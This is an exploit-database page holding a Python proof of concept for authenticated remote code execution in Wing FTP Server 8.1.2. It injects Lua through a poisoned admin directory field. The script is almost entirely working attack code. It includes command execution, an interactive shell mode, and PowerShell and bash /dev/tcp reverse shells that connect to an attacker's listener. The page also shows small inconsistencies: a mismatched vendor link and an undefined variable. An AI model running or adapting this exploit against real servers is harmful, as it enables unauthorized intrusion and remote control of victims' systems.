Share
## https://sploitus.com/exploit?id=PACKETSTORM:223808
==================================================================================================================================
    | # Title     : Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning                                                |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  The exploit abuses a flaw in how Wing FTP Server handles admin session serialization, specifically the mydirectory (basefolder) field.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import json
    import os
    import sys
    import time
    import requests
    import urllib3
    from urllib.parse import urljoin
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class WingFTPExploit:
        def __init__(self, target, admin_user, admin_pass, use_ssl=False, timeout=30, verbose=False):
            proto = "https" if use_ssl else "http"
            self.base_url = f"{proto}://{target}"
            self.admin_user = admin_user
            self.admin_pass = admin_pass
            self.timeout = timeout
            self.verbose = verbose
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            
        def log(self, msg, level="INFO"):
            colors = {
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "INFO": "\033[96m[*]\033[0m",
                "PROC": "\033[94m[@]\033[0m"
            }
            print(f"{colors.get(level, '[*]')} {msg}")
        
        def login(self):
            """Authenticate to the admin panel"""
            self.log(f"Authenticating as {self.admin_user}...", "PROC")
            
            login_url = urljoin(self.base_url, '/service_login.html')
            data = {
                'username': self.admin_user,
                'password': self.admin_pass
            }
            headers = {'Referer': urljoin(self.base_url, '/admin_login.html')}
            
            try:
                response = self.session.post(login_url, data=data, headers=headers, timeout=self.timeout)
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log("Authentication successful", "SUCCESS")
                            return True
                        elif result.get('code') in (1, 2):
                            self.log("2FA required - not supported", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        if 'logged in ok' in response.text or 'main.html' in response.text:
                            self.log("Authentication successful (legacy)", "SUCCESS")
                            return True
                
                self.log(f"Authentication failed: HTTP {response.status_code}", "ERROR")
                return False
                
            except Exception as e:
                self.log(f"Authentication error: {e}", "ERROR")
                return False
        
        def create_poisoned_basefolder(self, lua_payload):
            """Create poisoned basefolder value that injects Lua code"""
            return f"/tmp/x]]{lua_payload}--"
        
        def create_poisoned_admin(self, poison_user, poison_pass, lua_payload):
            """Create a domain admin with poisoned basefolder"""
            self.log(f"Creating poisoned domain admin: {poison_user}", "PROC")
            
            poisoned_basefolder = self.create_poisoned_basefolder(lua_payload)
            
            if self.verbose:
                self.log(f"Poisoned basefolder: {poisoned_basefolder}", "INFO")
            
            admin_obj = {
                'username': poison_user,
                'password': poison_pass,
                'readonly': False,
                'domainadmin': 1,
                'domainlist': '',
                'mydirectory': poisoned_basefolder,
                'ipmasks': [],
                'enable_two_factor': False,
                'two_factor_code': ''
            }
            
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
            
            add_admin_url = urljoin(self.base_url, '/service_add_admin.html')
            headers = {'Referer': urljoin(self.base_url, '/main.html')}
            
            try:
                response = self.session.post(
                    add_admin_url,
                    files={'admin': (None, admin_json)},
                    headers=headers,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log(f"Poisoned admin '{poison_user}' created", "SUCCESS")
                            return True
                        elif result.get('code') == -3:
                            self.log(f"Admin '{poison_user}' exists, modifying...", "INFO")
                            return self.modify_poisoned_admin(poison_user, poison_pass, lua_payload)
                        else:
                            self.log(f"Failed to create admin: {result}", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        self.log(f"Unexpected response: {response.text[:200]}", "ERROR")
                        return False
                
                return False
                
            except Exception as e:
                self.log(f"Error creating admin: {e}", "ERROR")
                return False
        
        def modify_poisoned_admin(self, poison_user, poison_pass, lua_payload):
            """Modify existing admin to inject poisoned basefolder"""
            self.log(f"Modifying existing admin: {poison_user}", "PROC")
            
            poisoned_basefolder = self.create_poisoned_basefolder(lua_payload)
            
            admin_obj = {
                'username': poison_user,
                'password': poison_pass,
                'readonly': False,
                'domainadmin': 1,
                'domainlist': '',
                'mydirectory': poisoned_basefolder,
                'ipmasks': [],
                'enable_two_factor': False,
                'two_factor_code': ''
            }
            
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
            
            modify_admin_url = urljoin(self.base_url, '/service_modify_admin.html')
            headers = {'Referer': urljoin(self.base_url, '/main.html')}
            
            try:
                response = self.session.post(
                    modify_admin_url,
                    files={
                        'admin': (None, admin_json),
                        'oldname': (None, poison_user)
                    },
                    headers=headers,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    try:
                        result = response.json()
                        if result.get('code') == 0:
                            self.log(f"Admin '{poison_user}' modified successfully", "SUCCESS")
                            return True
                        else:
                            self.log(f"Failed to modify admin: {result}", "ERROR")
                            return False
                    except json.JSONDecodeError:
                        self.log(f"Unexpected response: {response.text[:200]}", "ERROR")
                        return False
                
                return False
                
            except Exception as e:
                self.log(f"Error modifying admin: {e}", "ERROR")
                return False
        
        def trigger_payload(self, poison_user, poison_pass):
            """Trigger the payload by logging in as poisoned admin"""
            self.log(f"Triggering payload as '{poison_user}'...", "PROC")
            
            trigger_session = requests.Session()
            trigger_session.verify = False
            
            login_url = urljoin(self.base_url, '/service_login.html')
            data = {
                'username': poison_user,
                'password': poison_pass
            }
            headers = {'Referer': urljoin(self.base_url, '/admin_login.html')}
            
            try:
                login_resp = trigger_session.post(login_url, data=data, headers=headers, timeout=self.timeout)
                
                if login_resp.status_code == 200:
                    self.log("Login as poisoned admin successful", "SUCCESS")
                    trigger_url = urljoin(self.base_url, '/service_get_dir_list.html')
                    trigger_data = {'dir': ''}
                    headers['Referer'] = urljoin(self.base_url, '/main.html')
                    
                    trigger_resp = trigger_session.post(trigger_url, data=trigger_data, headers=headers, timeout=self.timeout)
                    
                    if trigger_resp.status_code == 200:
                        self.log("Payload triggered successfully!", "SUCCESS")
                        return True
                    else:
                        self.log(f"Trigger request returned HTTP {trigger_resp.status_code}", "WARNING")
                        return True 
                else:
                    self.log(f"Login failed: HTTP {login_resp.status_code}", "WARNING")
                    return False
                    
            except Exception as e:
                self.log(f"Trigger error: {e}", "ERROR")
                return False
        
        def generate_lua_payload(self, command):
            """Generate Lua payload for command execution"""
            escaped_cmd = command.replace("'", "\\\\'")
            return f"os.execute('{escaped_cmd}')"
        def generate_reverse_shell_lua(self, lhost, lport, platform='windows'):
            """Generate Lua payload for reverse shell"""
            if platform == 'windows':
                ps_cmd = f"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"
                return f"os.execute('powershell -Command \"{ps_cmd}\"')"
            else:
                bash_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
                return f"os.execute('{bash_cmd}')"
        
        def execute_command(self, command, poison_user, poison_pass, cleanup=True):
            """Execute a single command via the vulnerability"""
            self.log(f"Executing command: {command}")
            
            lua_payload = self.generate_lua_payload(command)
            
            if not self.create_poisoned_admin(poison_user, poison_pass, lua_payload):
                self.log("Failed to create poisoned admin", "ERROR")
                return False
            
            if not self.trigger_payload(poison_user, poison_pass):
                self.log("Failed to trigger payload", "ERROR")
                return False
            time.sleep(2)
            
            if cleanup:
                self.cleanup_admin(poison_user)
            
            return True
        
        def deploy_reverse_shell(self, lhost, lport, platform='windows', poison_user='svc_backup', poison_pass='P@ssw0rd123!'):
            """Deploy reverse shell payload"""
            self.log(f"Deploying reverse shell to {lhost}:{lport}", "PROC")
            
            lua_payload = self.generate_reverse_shell_lua(lhost, lport, platform)
            
            if not self.create_poisoned_admin(poison_user, poison_pass, lua_payload):
                self.log("Failed to create poisoned admin", "ERROR")
                return False
            
            if not self.trigger_payload(poison_user, poison_pass):
                self.log("Failed to trigger payload", "ERROR")
                return False
            
            self.log("Reverse shell payload sent! Check your listener.", "SUCCESS")
            return True
        
        def cleanup_admin(self, poison_user):
            """Attempt to clean up the poisoned admin"""
            self.log(f"Cleaning up admin: {poison_user}", "PROC")
            
            delete_url = urljoin(self.base_url, '/service_del_admin.html')
            data = {'username': poison_user}
            
            try:
                response = self.session.post(delete_url, data=data, timeout=self.timeout)
                if response.status_code == 200:
                    self.log(f"Admin '{poison_user}' cleaned up", "SUCCESS")
                    return True
            except Exception as e:
                self.log(f"Cleanup error: {e}", "WARNING")
            
            return False
        
        def run(self, command=None, lhost=None, lport=None, poison_user='svc_backup', 
                poison_pass='P@ssw0rd123!', cleanup=True, shell=False):
            """Main exploit routine"""
            
            self.log(f"Target: {self.base_url}")
            if not self.login():
                self.log("Failed to authenticate", "ERROR")
                return False
            if command:
                return self.execute_command(command, poison_user, poison_pass, cleanup)
            elif lhost and lport:
                platform = 'windows' if 'win' in str(target).lower() else 'linux'
                return self.deploy_reverse_shell(lhost, lport, platform, poison_user, poison_pass)
            elif shell:
                self.log("Interactive shell mode. Type 'exit' to quit.", "SUCCESS")
                print("\nCommands will be executed on the Wing FTP server.\n")
                
                while True:
                    try:
                        cmd = input("\033[92mwingftp>\033[0m ").strip()
                        if cmd.lower() in ['exit', 'quit']:
                            break
                        if cmd:
                            self.execute_command(cmd, poison_user, poison_pass, cleanup=False)
                            time.sleep(1)
                    except KeyboardInterrupt:
                        print("\nExiting...")
                        break
                
                if cleanup:
                    self.cleanup_admin(poison_user)
                
                return True
            else:
                self.log("No action specified", "ERROR")
                return False
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-44403 - Wing FTP Server 8.1.2 Authenticated RCE",
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 -c "whoami"
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --reverse-shell --lhost 10.0.0.5 --lport 4444
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --shell
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 -c "id" --poison-user custom --poison-pass custom123
      python3 exploit.py -t 192.168.1.10:5466 -u admin -p password123 --shell --no-cleanup
            """
        )
        parser.add_argument("-t", "--target", required=True, help="Target host:port (e.g., 192.168.1.10:5466)")
        parser.add_argument("-u", "--admin-user", default="admin", help="Administrator username (default: admin)")
        parser.add_argument("-p", "--admin-pass", default="admin", help="Administrator password (default: admin)")
        parser.add_argument("-c", "--command", help="Command to execute")
        parser.add_argument("--reverse-shell", action="store_true", help="Deploy reverse shell")
        parser.add_argument("--lhost", help="Listener host for reverse shell")
        parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
        parser.add_argument("--shell", action="store_true", help="Interactive shell mode")
        parser.add_argument("--poison-user", default="svc_backup", help="Poisoned admin username (default: svc_backup)")
        parser.add_argument("--poison-pass", default="P@ssw0rd123!", help="Poisoned admin password (default: P@ssw0rd123!)")
        parser.add_argument("--no-cleanup", action="store_true", help="Don't clean up poisoned admin after exploitation")
        parser.add_argument("--ssl", action="store_true", help="Use SSL for connection")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        parser.add_argument("--timeout", type=int, default=30, help="Request timeout (seconds)")
        
        args = parser.parse_args()
        
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  CVE-2026-44403 - Wing FTP Server 8.1.2 Authenticated RCE       โ•‘
    โ•‘  Remote Code Execution via Session Poisoning                    โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        """)
        exploit = WingFTPExploit(
            target=args.target,
            admin_user=args.admin_user,
            admin_pass=args.admin_pass,
            use_ssl=args.ssl,
            timeout=args.timeout,
            verbose=args.verbose
        )
        
        cleanup = not args.no_cleanup
        
        if args.reverse_shell:
            if not args.lhost or not args.lport:
                print("[-] --reverse-shell requires --lhost and --lport")
                sys.exit(1)
            success = exploit.run(
                lhost=args.lhost,
                lport=args.lport,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        elif args.shell:
            success = exploit.run(
                shell=True,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        elif args.command:
            success = exploit.run(
                command=args.command,
                poison_user=args.poison_user,
                poison_pass=args.poison_pass,
                cleanup=cleanup
            )
        else:
            parser.print_help()
            sys.exit(1)
        sys.exit(0 if success else 1)
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================